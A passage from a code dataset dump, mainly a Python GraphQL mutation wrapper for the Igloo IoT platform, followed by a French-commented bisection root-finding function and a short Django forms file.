wrapper)\r\n\r\n def changeAuthenticationSettings(self, primaryAuthenticationMethods, secondaryAuthenticationMethods):\r\n primaryAuthenticationMethods_arg = parse_arg(\r\n \"primaryAuthenticationMethods\", primaryAuthenticationMethods, is_enum=True)\r\n secondaryAuthenticationMethods_arg = parse_arg(\r\n \"secondaryAuthenticationMethods\", secondaryAuthenticationMethods, is_enum=True)\r\n\r\n res = self.client.mutation('mutation{changeAuthenticationSettings(%s%s){id}}' % (\r\n primaryAuthenticationMethods_arg, secondaryAuthenticationMethods_arg))[\"changeAuthenticationSettings\"]\r\n\r\n def wrapper(id):\r\n return User(self.client)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def resendVerificationEmail(self, email):\r\n email_arg = parse_arg(\"email\", email)\r\n\r\n return self.client.mutation('mutation{resendVerificationEmail(%s)}' % (email_arg))[\"resendVerificationEmail\"]\r\n\r\n def shareEnvironment(self, environmentId, role, email=None, userId=None):\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n role_arg = parse_arg(\"role\", role, is_enum=True)\r\n email_arg = parse_arg(\"email\", email)\r\n userId_arg = parse_arg(\"userId\", userId)\r\n res = self.client.mutation('mutation{shareEnvironment(%s%s%s%s){id}}' % (\r\n environmentId_arg, email_arg, userId_arg, role_arg))[\"shareEnvironment\"]\r\n\r\n def wrapper(id):\r\n return PendingEnvironmentShare(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def pendingEnvironmentShare(self, id, role):\r\n id_arg = parse_arg(\"id\", id)\r\n role_arg = parse_arg(\"role\", role, is_enum=True)\r\n\r\n res = self.client.mutation('mutation{pendingEnvironmentShare(%s%s){id}}' % (\r\n id_arg, role_arg))[\"pendingEnvironmentShare\"]\r\n\r\n def wrapper(id):\r\n return PendingEnvironmentShare(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def revokePendingEnvironmentShare(self, pendingEnvironmentShareId):\r\n pendingEnvironmentShareId_arg = parse_arg(\r\n \"pendingEnvironmentShareId\", pendingEnvironmentShareId)\r\n\r\n return self.client.mutation('mutation{revokePendingEnvironmentShare(%s)}' % (pendingEnvironmentShareId_arg))[\"revokePendingEnvironmentShare\"]\r\n\r\n def acceptPendingEnvironmentShare(self, pendingEnvironmentShareId):\r\n pendingEnvironmentShareId_arg = parse_arg(\r\n \"pendingEnvironmentShareId\", pendingEnvironmentShareId)\r\n\r\n res = self.client.mutation('mutation{acceptPendingEnvironmentShare(%s){sender{id} receiver{id} role environment{id}}}' % (\r\n pendingEnvironmentShareId_arg))[\"acceptPendingEnvironmentShare\"]\r\n\r\n def wrapper(res):\r\n res[\"sender\"] = User(self.client, res[\"sender\"][\"id\"])\r\n res[\"receiver\"] = User(self.client, res[\"receiver\"][\"id\"])\r\n res[\"environment\"] = Environment(\r\n self.client, res[\"environment\"][\"id\"])\r\n\r\n return res\r\n\r\n return wrapWith(res, wrapper)\r\n\r\n def declinePendingEnvironmentShare(self, pendingEnvironmentShareId):\r\n pendingEnvironmentShareId_arg = parse_arg(\r\n \"pendingEnvironmentShareId\", pendingEnvironmentShareId)\r\n\r\n return self.client.mutation('mutation{declinePendingEnvironmentShare(%s)}' % (pendingEnvironmentShareId_arg))[\"declinePendingEnvironmentShare\"]\r\n\r\n def stopSharingEnvironment(self, environmentId, email=None, userId=None):\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n email_arg = parse_arg(\"email\", email)\r\n userId_arg = parse_arg(\"userId\", userId)\r\n res = self.client.mutation('mutation{stopSharingEnvironment(%s%s%s){id}}' % (\r\n environmentId_arg, email_arg, userId_arg))[\"stopSharingEnvironment\"]\r\n\r\n def wrapper(id):\r\n return Environment(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def leaveEnvironment(self, environmentId):\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n\r\n return self.client.mutation('mutation{leaveEnvironment(%s)}' % (environmentId_arg))[\"leaveEnvironment\"]\r\n\r\n def changeOwner(self, environmentId, email=None, userId=None):\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n email_arg = parse_arg(\"email\", email)\r\n userId_arg = parse_arg(\"userId\", userId)\r\n res = self.client.mutation('mutation{changeOwner(%s%s%s){id}}' % (\r\n environmentId_arg, email_arg, userId_arg))[\"changeOwner\"]\r\n\r\n def wrapper(id):\r\n return PendingOwnerChange(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def revokePendingOwnerChange(self, pendingOwnerChangeId):\r\n pendingOwnerChangeId_arg = parse_arg(\r\n \"pendingOwnerChangeId\", pendingOwnerChangeId)\r\n\r\n return self.client.mutation('mutation{revokePendingOwnerChange(%s)}' % (pendingOwnerChangeId_arg))[\"revokePendingOwnerChange\"]\r\n\r\n def acceptPendingOwnerChange(self, pendingOwnerChangeId):\r\n pendingOwnerChangeId_arg = parse_arg(\r\n \"pendingOwnerChangeId\", pendingOwnerChangeId)\r\n\r\n res = self.client.mutation('mutation{acceptPendingOwnerChange(%s){sender{id} receiver{id} environment{id}}}' % (\r\n pendingOwnerChangeId_arg))[\"acceptPendingOwnerChange\"]\r\n\r\n def wrapper(res):\r\n res[\"sender\"] = User(self.client, res[\"sender\"][\"id\"])\r\n res[\"receiver\"] = User(self.client, res[\"receiver\"][\"id\"])\r\n res[\"environment\"] = Environment(\r\n self.client, res[\"environment\"][\"id\"])\r\n\r\n return res\r\n\r\n return wrapWith(res, wrapper)\r\n\r\n def declinePendingOwnerChange(self, pendingOwnerChangeId):\r\n pendingOwnerChangeId_arg = parse_arg(\r\n \"pendingOwnerChangeId\", pendingOwnerChangeId)\r\n\r\n return self.client.mutation('mutation{declinePendingOwnerChange(%s)}' % (pendingOwnerChangeId_arg))[\"declinePendingOwnerChange\"]\r\n\r\n def changeRole(self, environmentId, email, newRole):\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n email_arg = parse_arg(\"email\", email)\r\n newRole_arg = parse_arg(\"newRole\", newRole)\r\n\r\n res = self.client.mutation('mutation{changeRole(%s%s%s){id}}' % (\r\n environmentId_arg, email_arg, newRole_arg))[\"changeRole\"]\r\n\r\n def wrapper(id):\r\n return Environment(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createEnvironment(self, name, picture=None, index=None, muted=None):\r\n name_arg = parse_arg(\"name\", name)\r\n picture_arg = parse_arg(\"picture\", picture, is_enum=True)\r\n index_arg = parse_arg(\"index\", index)\r\n muted_arg = parse_arg(\"muted\", muted)\r\n res = self.client.mutation('mutation{createEnvironment(%s%s%s%s){id}}' % (\r\n name_arg, picture_arg, index_arg, muted_arg))[\"createEnvironment\"]\r\n\r\n def wrapper(id):\r\n return Environment(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createThing(self, thingType=None, firmware=None):\r\n thingType_arg = parse_arg(\"thingType\", thingType)\r\n firmware_arg = parse_arg(\"firmware\", firmware)\r\n res = self.client.mutation('mutation{createThing(%s%s){id}}' % (\r\n thingType_arg, firmware_arg))[\"createThing\"]\r\n\r\n def wrapper(id):\r\n return Thing(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def claimThing(self, claimCode, name, environmentId, index=None, muted=None):\r\n claimCode_arg = parse_arg(\"claimCode\", claimCode)\r\n name_arg = parse_arg(\"name\", name)\r\n environmentId_arg = parse_arg(\"environmentId\", environmentId)\r\n index_arg = parse_arg(\"index\", index)\r\n muted_arg = parse_arg(\"muted\", muted)\r\n res = self.client.mutation('mutation{claimThing(%s%s%s%s%s){id}}' % (\r\n claimCode_arg, name_arg, index_arg, environmentId_arg, muted_arg))[\"claimThing\"]\r\n\r\n def wrapper(id):\r\n return Thing(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createNotification(self, thingId, content, date=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n content_arg = parse_arg(\"content\", content)\r\n date_arg = parse_arg(\"date\", date)\r\n res = self.client.mutation('mutation{createNotification(%s%s%s){id}}' % (\r\n thingId_arg, content_arg, date_arg))[\"createNotification\"]\r\n\r\n def wrapper(id):\r\n return Notification(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createFloatVariable(self, thingId, permission, name, private=None, hidden=None, unitOfMeasurement=None, value=None, precision=None, min=None, max=None, index=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n name_arg = parse_arg(\"name\", name)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n unitOfMeasurement_arg = parse_arg(\r\n \"unitOfMeasurement\", unitOfMeasurement)\r\n value_arg = parse_arg(\"value\", value)\r\n precision_arg = parse_arg(\"precision\", precision)\r\n min_arg = parse_arg(\"min\", min)\r\n max_arg = parse_arg(\"max\", max)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{createFloatVariable(%s%s%s%s%s%s%s%s%s%s%s){id}}' % (thingId_arg, permission_arg, private_arg, hidden_arg,\r\n unitOfMeasurement_arg, value_arg, precision_arg, min_arg, max_arg, name_arg, index_arg))[\"createFloatVariable\"]\r\n\r\n def wrapper(id):\r\n return FloatVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createStringVariable(self, thingId, permission, name, private=None, hidden=None, value=None, maxChars=None, allowedValues=None, index=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n name_arg = parse_arg(\"name\", name)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n value_arg = parse_arg(\"value\", value)\r\n maxChars_arg = parse_arg(\"maxChars\", maxChars)\r\n\r\n allowedValues_arg = parse_arg(\"allowedValues\", allowedValues)\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{createStringVariable(%s%s%s%s%s%s%s%s%s){id}}' % (\r\n thingId_arg, permission_arg, private_arg, hidden_arg, value_arg, maxChars_arg, name_arg, allowedValues_arg, index_arg))[\"createStringVariable\"]\r\n\r\n def wrapper(id):\r\n return StringVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createBooleanVariable(self, thingId, permission, name, private=None, hidden=None, value=None, index=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n name_arg = parse_arg(\"name\", name)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n value_arg = parse_arg(\"value\", value)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{createBooleanVariable(%s%s%s%s%s%s%s){id}}' % (\r\n thingId_arg, permission_arg, private_arg, hidden_arg, value_arg, name_arg, index_arg))[\"createBooleanVariable\"]\r\n\r\n def wrapper(id):\r\n return BooleanVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createFloatSeriesVariable(self, thingId, name, private=None, hidden=None, unitOfMeasurement=None, precision=None, min=None, max=None, index=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n name_arg = parse_arg(\"name\", name)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n unitOfMeasurement_arg = parse_arg(\r\n \"unitOfMeasurement\", unitOfMeasurement)\r\n precision_arg = parse_arg(\"precision\", precision)\r\n min_arg = parse_arg(\"min\", min)\r\n max_arg = parse_arg(\"max\", max)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{createFloatSeriesVariable(%s%s%s%s%s%s%s%s%s){id}}' % (\r\n thingId_arg, private_arg, hidden_arg, unitOfMeasurement_arg, precision_arg, min_arg, max_arg, name_arg, index_arg))[\"createFloatSeriesVariable\"]\r\n\r\n def wrapper(id):\r\n return FloatSeriesVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createFloatSeriesNode(self, seriesId, value, timestamp=None):\r\n seriesId_arg = parse_arg(\"seriesId\", seriesId)\r\n value_arg = parse_arg(\"value\", value)\r\n timestamp_arg = parse_arg(\"timestamp\", timestamp)\r\n res = self.client.mutation('mutation{createFloatSeriesNode(%s%s%s){id}}' % (\r\n seriesId_arg, timestamp_arg, value_arg))[\"createFloatSeriesNode\"]\r\n\r\n def wrapper(id):\r\n return FloatSeriesNode(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createCategorySeriesVariable(self, thingId, name, private=None, hidden=None, allowedValues=None, index=None):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n name_arg = parse_arg(\"name\", name)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n\r\n allowedValues_arg = parse_arg(\"allowedValues\", allowedValues)\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{createCategorySeriesVariable(%s%s%s%s%s%s){id}}' % (\r\n thingId_arg, private_arg, hidden_arg, name_arg, allowedValues_arg, index_arg))[\"createCategorySeriesVariable\"]\r\n\r\n def wrapper(id):\r\n return CategorySeriesVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def createCategorySeriesNode(self, seriesId, value, timestamp=None):\r\n seriesId_arg = parse_arg(\"seriesId\", seriesId)\r\n value_arg = parse_arg(\"value\", value)\r\n timestamp_arg = parse_arg(\"timestamp\", timestamp)\r\n res = self.client.mutation('mutation{createCategorySeriesNode(%s%s%s){id}}' % (\r\n seriesId_arg, timestamp_arg, value_arg))[\"createCategorySeriesNode\"]\r\n\r\n def wrapper(id):\r\n return CategorySeriesNode(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def user(self, quietMode=None, paymentPlan=None, name=None, profileIcon=None):\r\n\r\n quietMode_arg = parse_arg(\"quietMode\", quietMode)\r\n paymentPlan_arg = parse_arg(\"paymentPlan\", paymentPlan)\r\n name_arg = parse_arg(\"name\", name)\r\n profileIcon_arg = parse_arg(\"profileIcon\", profileIcon)\r\n res = self.client.mutation('mutation{user(%s%s%s%s){id}}' % (\r\n quietMode_arg, paymentPlan_arg, name_arg, profileIcon_arg))[\"user\"]\r\n\r\n def wrapper(id):\r\n return User(self.client)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def changeEmail(self, newEmail):\r\n newEmail_arg = parse_arg(\"newEmail\", newEmail)\r\n\r\n return self.client.mutation('mutation{changeEmail(%s)}' % (newEmail_arg))[\"changeEmail\"]\r\n\r\n def settings(self, language=None, lengthAndMass=None, temperature=None, dateFormat=None, timeFormat=None, passwordChangeEmail=None, environmentSharesEmail=None, permanentTokenCreatedEmail=None):\r\n\r\n language_arg = parse_arg(\"language\", language)\r\n lengthAndMass_arg = parse_arg(\r\n \"lengthAndMass\", lengthAndMass, is_enum=True)\r\n temperature_arg = parse_arg(\"temperature\", temperature, is_enum=True)\r\n dateFormat_arg = parse_arg(\"dateFormat\", dateFormat, is_enum=True)\r\n timeFormat_arg = parse_arg(\"timeFormat\", timeFormat, is_enum=True)\r\n passwordChangeEmail_arg = parse_arg(\r\n \"passwordChangeEmail\", passwordChangeEmail)\r\n environmentSharesEmail_arg = parse_arg(\r\n \"environmentSharesEmail\", environmentSharesEmail)\r\n permanentTokenCreatedEmail_arg = parse_arg(\r\n \"permanentTokenCreatedEmail\", permanentTokenCreatedEmail)\r\n\r\n return self.client.mutation('mutation{settings(%s%s%s%s%s%s%s%s){id lengthAndMass temperature timeFormat dateFormat language passwordChangeEmail environmentSharesEmail permanentTokenCreatedEmail}}' % (language_arg, lengthAndMass_arg, temperature_arg, dateFormat_arg, timeFormat_arg, passwordChangeEmail_arg, environmentSharesEmail_arg, permanentTokenCreatedEmail_arg))[\"settings\"]\r\n\r\n def updatePaymentInfo(self, stripeToken):\r\n stripeToken_arg = parse_arg(\"stripeToken\", stripeToken)\r\n\r\n return self.client.mutation('mutation{updatePaymentInfo(%s)}' % (stripeToken_arg))[\"updatePaymentInfo\"]\r\n\r\n def environment(self, id, name=None, picture=None, index=None, muted=None):\r\n id_arg = parse_arg(\"id\", id)\r\n name_arg = parse_arg(\"name\", name)\r\n picture_arg = parse_arg(\"picture\", picture, is_enum=True)\r\n index_arg = parse_arg(\"index\", index)\r\n muted_arg = parse_arg(\"muted\", muted)\r\n res = self.client.mutation('mutation{environment(%s%s%s%s%s){id}}' % (\r\n id_arg, name_arg, picture_arg, index_arg, muted_arg))[\"environment\"]\r\n\r\n def wrapper(id):\r\n return Environment(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def thing(self, id, thingType=None, name=None, index=None, signalStatus=None, batteryStatus=None, batteryCharging=None, firmware=None, muted=None, starred=None):\r\n id_arg = parse_arg(\"id\", id)\r\n thingType_arg = parse_arg(\"thingType\", thingType)\r\n name_arg = parse_arg(\"name\", name)\r\n index_arg = parse_arg(\"index\", index)\r\n signalStatus_arg = parse_arg(\"signalStatus\", signalStatus)\r\n batteryStatus_arg = parse_arg(\"batteryStatus\", batteryStatus)\r\n batteryCharging_arg = parse_arg(\"batteryCharging\", batteryCharging)\r\n firmware_arg = parse_arg(\"firmware\", firmware)\r\n muted_arg = parse_arg(\"muted\", muted)\r\n starred_arg = parse_arg(\"starred\", starred)\r\n res = self.client.mutation('mutation{thing(%s%s%s%s%s%s%s%s%s%s){id}}' % (\r\n id_arg, thingType_arg, name_arg, index_arg, signalStatus_arg, batteryStatus_arg, batteryCharging_arg, firmware_arg, muted_arg, starred_arg))[\"thing\"]\r\n\r\n def wrapper(id):\r\n return Thing(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def value(self, id, private=None, hidden=None, name=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n\r\n name_arg = parse_arg(\"name\", name)\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{value(%s%s%s%s%s){id __typename}}' % (\r\n id_arg, private_arg, hidden_arg, name_arg, index_arg))[\"value\"]\r\n\r\n def wrapper(res):\r\n return Value(self.client, res[\"id\"], res[\"__typename\"])\r\n\r\n return wrapWith(res, wrapper)\r\n\r\n def moveThing(self, thingId, newEnvironmentId):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n newEnvironmentId_arg = parse_arg(\"newEnvironmentId\", newEnvironmentId)\r\n\r\n res = self.client.mutation('mutation{moveThing(%s%s){id}}' % (\r\n thingId_arg, newEnvironmentId_arg))[\"moveThing\"]\r\n\r\n def wrapper(id):\r\n return Thing(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def resetOnlineState(self, thingId):\r\n thingId_arg = parse_arg(\"thingId\", thingId)\r\n\r\n res = self.client.mutation('mutation{resetOnlineState(%s){id}}' % (thingId_arg))[\r\n \"resetOnlineState\"]\r\n\r\n def wrapper(id):\r\n return Thing(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def floatVariable(self, id, permission=None, private=None, hidden=None, unitOfMeasurement=None, value=None, precision=None, min=None, max=None, name=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n unitOfMeasurement_arg = parse_arg(\r\n \"unitOfMeasurement\", unitOfMeasurement)\r\n value_arg = parse_arg(\"value\", value)\r\n precision_arg = parse_arg(\"precision\", precision)\r\n min_arg = parse_arg(\"min\", min)\r\n max_arg = parse_arg(\"max\", max)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{floatVariable(%s%s%s%s%s%s%s%s%s%s%s){id}}' % (\r\n id_arg, permission_arg, private_arg, hidden_arg, unitOfMeasurement_arg, value_arg, precision_arg, min_arg, max_arg, name_arg, index_arg))[\"floatVariable\"]\r\n\r\n def wrapper(id):\r\n return FloatVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def atomicUpdateFloat(self, id, incrementBy):\r\n id_arg = parse_arg(\"id\", id)\r\n incrementBy_arg = parse_arg(\"incrementBy\", incrementBy)\r\n\r\n res = self.client.mutation('mutation{atomicUpdateFloat(%s%s){id}}' % (\r\n id_arg, incrementBy_arg))[\"atomicUpdateFloat\"]\r\n\r\n def wrapper(id):\r\n return FloatVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def stringVariable(self, id, permission=None, private=None, hidden=None, value=None, maxChars=None, name=None, allowedValues=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n value_arg = parse_arg(\"value\", value)\r\n maxChars_arg = parse_arg(\"maxChars\", maxChars)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n allowedValues_arg = parse_arg(\"allowedValues\", allowedValues)\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{stringVariable(%s%s%s%s%s%s%s%s%s){id}}' % (\r\n id_arg, permission_arg, private_arg, hidden_arg, value_arg, maxChars_arg, name_arg, allowedValues_arg, index_arg))[\"stringVariable\"]\r\n\r\n def wrapper(id):\r\n return StringVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def booleanVariable(self, id, permission=None, private=None, hidden=None, value=None, name=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n permission_arg = parse_arg(\"permission\", permission, is_enum=True)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n value_arg = parse_arg(\"value\", value)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{booleanVariable(%s%s%s%s%s%s%s){id}}' % (\r\n id_arg, permission_arg, private_arg, hidden_arg, value_arg, name_arg, index_arg))[\"booleanVariable\"]\r\n\r\n def wrapper(id):\r\n return BooleanVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def floatSeriesVariable(self, id, private=None, hidden=None, unitOfMeasurement=None, precision=None, min=None, max=None, name=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n unitOfMeasurement_arg = parse_arg(\r\n \"unitOfMeasurement\", unitOfMeasurement)\r\n precision_arg = parse_arg(\"precision\", precision)\r\n min_arg = parse_arg(\"min\", min)\r\n max_arg = parse_arg(\"max\", max)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{floatSeriesVariable(%s%s%s%s%s%s%s%s%s){id}}' % (\r\n id_arg, private_arg, hidden_arg, unitOfMeasurement_arg, precision_arg, min_arg, max_arg, name_arg, index_arg))[\"floatSeriesVariable\"]\r\n\r\n def wrapper(id):\r\n return FloatSeriesVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def floatSeriesNode(self, id, value=None, timestamp=None):\r\n id_arg = parse_arg(\"id\", id)\r\n value_arg = parse_arg(\"value\", value)\r\n timestamp_arg = parse_arg(\"timestamp\", timestamp)\r\n res = self.client.mutation('mutation{floatSeriesNode(%s%s%s){id}}' % (\r\n id_arg, value_arg, timestamp_arg))[\"floatSeriesNode\"]\r\n\r\n def wrapper(id):\r\n return FloatSeriesNode(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def categorySeriesVariable(self, id, private=None, hidden=None, name=None, allowedValues=None, index=None):\r\n id_arg = parse_arg(\"id\", id)\r\n private_arg = parse_arg(\"private\", private)\r\n hidden_arg = parse_arg(\"hidden\", hidden)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n allowedValues_arg = parse_arg(\"allowedValues\", allowedValues)\r\n index_arg = parse_arg(\"index\", index)\r\n res = self.client.mutation('mutation{categorySeriesVariable(%s%s%s%s%s%s){id}}' % (\r\n id_arg, private_arg, hidden_arg, name_arg, allowedValues_arg, index_arg))[\"categorySeriesVariable\"]\r\n\r\n def wrapper(id):\r\n return CategorySeriesVariable(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def categorySeriesNode(self, id, value=None, timestamp=None):\r\n id_arg = parse_arg(\"id\", id)\r\n value_arg = parse_arg(\"value\", value)\r\n timestamp_arg = parse_arg(\"timestamp\", timestamp)\r\n res = self.client.mutation('mutation{categorySeriesNode(%s%s%s){id}}' % (\r\n id_arg, value_arg, timestamp_arg))[\"categorySeriesNode\"]\r\n\r\n def wrapper(id):\r\n return CategorySeriesNode(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def notification(self, id, content=None, read=None):\r\n id_arg = parse_arg(\"id\", id)\r\n content_arg = parse_arg(\"content\", content)\r\n read_arg = parse_arg(\"read\", read)\r\n res = self.client.mutation('mutation{notification(%s%s%s){id}}' % (\r\n id_arg, content_arg, read_arg))[\"notification\"]\r\n\r\n def wrapper(id):\r\n return Notification(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def deleteNotification(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteNotification(%s)}' % (id_arg))[\"deleteNotification\"]\r\n\r\n def deleteValue(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteValue(%s)}' % (id_arg))[\"deleteValue\"]\r\n\r\n def deleteThing(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteThing(%s)}' % (id_arg))[\"deleteThing\"]\r\n\r\n def unclaimThing(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{unclaimThing(%s){id}}' % (id_arg))[\"unclaimThing\"]\r\n\r\n def deleteEnvironment(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteEnvironment(%s)}' % (id_arg))[\"deleteEnvironment\"]\r\n\r\n def deleteUser(self, ):\r\n\r\n return self.client.mutation('mutation{deleteUser()}' % ())[\"deleteUser\"]\r\n\r\n def deleteFloatSeriesNode(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteFloatSeriesNode(%s)}' % (id_arg))[\"deleteFloatSeriesNode\"]\r\n\r\n def deleteCategorySeriesNode(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deleteCategorySeriesNode(%s)}' % (id_arg))[\"deleteCategorySeriesNode\"]\r\n","sub_path":"igloo/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":35154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"244645308","text":"import math\nimport matplotlib as mpl\n\"\"\"\nMéthode de la bissection\n(1) Choisir un intervalle de départ [x1, x2] où la fonction f possède un changement de signe,c’est-à-dire où f(x1) × f(x2) < 0\n(2) Approximer la racine par le point milieu xm = (x1+x2)/2\n(3) Choisir entre [x1, xm] et [xm, x2] l’intervalle qui possède encore un changement de signe.\n(4) Recommencer la deuxième étape avec ce nouvel intervalle\n\nExemple:\nfonction = lambda x: x**3+x**2-3*x-3\nintervalle = (1, 2)\ntolerance = 10**-8\nnmax = 1000\nprint(bissection(intervalle, fonction, tolerance, nmax))\n\nNote:\nCette méthode fonctionne seulement si l'intervalle choisit est approprié,\nc'est-à-dire que l'on a déjà une idée de la valeur de la raciné recherché.\n\nCas qui ne fonctionnent pas:\n- si la fonction est tangente à l'abcisse (exemple: x²)\n- si, dans l'intervalle choisie, il y a plus qu'une racine\n\"\"\"\ndef bissection(intervalle, f, tolerance, nmax):\n x1, x2 = intervalle\n xmilieu = (x1 + x2)/2\n n = 0\n approximation = lambda x1, x2, xmilieu: abs(x2-x1)/(2*abs(xmilieu)+10**-7)\n while approximation(x1, x2, xmilieu) > tolerance and n <= nmax:\n\n if f(x1)*f(xmilieu) < 0: # chg de signe est dans l'intervalle de gauche [x1, xmilieu]\n x2 = xmilieu\n elif f(xmilieu)*f(x2) < 0: # chg de signe est dans l'intervalle de gauche [xmilieu, x2]\n x1 = xmilieu\n xmilieu = (x1+x2)/2 # On update l'intervalle de recherche\n n += 1 # Incrémente de +1 itération\n\n return f\"xm = {xmilieu}, f(xm) = {f(xmilieu)}\"\n","sub_path":"chap2.py","file_name":"chap2.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"558719889","text":"'''\nGAVIP Example AVIS: Multiple Pipeline AVI\n\nForms for the pipeline job models\n'''\n\nfrom django.forms import ModelForm\n\nfrom avi.models import GacsIgslAnalysisJob, NoisySpectraJob\n\n\nclass NoisySpectraJobForm(ModelForm):\n \"\"\"\n Form used to start Ulysses jobs\n \n \"\"\"\n class Meta:\n model = NoisySpectraJob\n exclude = ['request']\n \n\nclass GacsIgslAnalysisJobForm(ModelForm):\n \"\"\"\n Form used to start GACS-dev IGSL jobs\n \n \"\"\"\n class Meta:\n model = GacsIgslAnalysisJob\n exclude = ['request']\n ","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"566911787","text":"# Author: Harsh Kohli\n# 